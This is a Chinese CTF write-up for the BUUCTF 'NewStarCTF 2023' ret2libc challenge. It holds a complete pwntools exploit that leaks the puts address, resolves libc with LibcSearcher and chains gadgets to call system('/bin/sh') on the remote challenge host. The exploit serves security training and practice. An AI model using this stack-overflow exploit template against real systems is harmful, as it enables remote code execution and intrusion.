当前位置: 首页 > news >正文

BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

步骤

使用checksec查看

由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc

需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数

payload1:

先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器

然后调用 puts 函数,打印puts_got中存储的 puts 真实地址

puts 执行完后跳回 main 函数,重新触发输入提示(方便发送第二个 Payload)

然后计算 libc 基址与目标地址

payload2:

溢出后使用ret来调整栈为 16 字节对齐

然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器

最后调用system函数来执行system("/bin/sh")

main函数地址为0x400698

通过read函数可以溢出buf缓冲区,只需要0x20+0x8个字节

pop rdi;ret 地址: 0x400763

ret地址: 0x400506

本地调试:

这里选择的9

获取flag:

远程连接选择的1

exp

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./ret2libc') p = remote('node5.buuoj.cn',26594) elf = ELF('./ret2libc') pop_rdi_addr = 0x400763 ret_addr = 0x400506 main_addr =0x400698 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload1 = b'a'*(0x20+8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Show me your magic again\n",payload1) p.recvuntil(b'See you next time\n') puts_addr = u64(p.recvline().strip().ljust(8, b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Show me your magic again\n",payload2) p.interactive()
http://www.cnnetsun.cn/news/36259.html

相关文章:

  • 测试日志分析与故障定位技巧:从噪声中捕捉信号
  • HNU软件安全测试模糊测试(改写Coverage类)
  • ESFT调试技巧完整指南:快速定位专家微调问题
  • 如何构建模块化RAG系统:Cognita架构解析与部署实践
  • (附源码) 基于springboot的美食分享系统-计算机毕设 37676
  • 办公 学习防窥人脸检测锁屏!设定时间离开自动锁屏再也不怕忘锁
  • 重构云端工作流:从单体到微服务的部署革命
  • 实习面试题-Redis 面试题
  • 深度学习作业10代码
  • 四叶菜矮砧密植:水肥一体化系统的铺设要点
  • Calendar容器系统深度解析:monthBody与monthContainer高级实战技巧
  • QuickJS嵌入式传感器数据处理引擎完整实战教程
  • 终极指南:5分钟快速上手KoNLPy韩语文本分析
  • Qwen2-VL终极微调指南:快速掌握视觉语言模型训练
  • F_Record绘画录制插件:一键安装与配置指南
  • Qwen2.5-VL-AWQ:320亿参数多模态模型如何重塑企业智能边界
  • Pock:终极MacBook Touch Bar管理器,让你的效率翻倍!
  • 终极指南:5个技巧用PyTorch3D轻松搞定3D渲染
  • 1、Python在Unix和Linux系统管理中的应用
  • 7天掌握Arkime YARA:从零构建威胁检测防线
  • MPV播放器播放进度自动保存:3分钟掌握断点续播全攻略
  • 6大技术突破:全面剖析MikroTik RouterOS 7.19.2 arm64版本性能升级
  • 16、SAS数据处理:变量管理、条件赋值与数据读取
  • GNOME Shell开发终极指南:从架构解析到深度定制
  • Linux应用打包分发终极指南:从入门到精通的最佳实践
  • [Windows] Xmind 思维导图 绿色便携版(高效思维整理工具)
  • Cropper.js完全指南:打造专业级前端图像裁剪功能
  • Sidekick企业部署终极指南:从本地AI应用到大规模实施
  • 挣脱数字枷锁:当AI成为你毕业论文的“第二大脑”
  • 3大技巧让你的SSH连接永不中断:Kitty终端会话持久化实战指南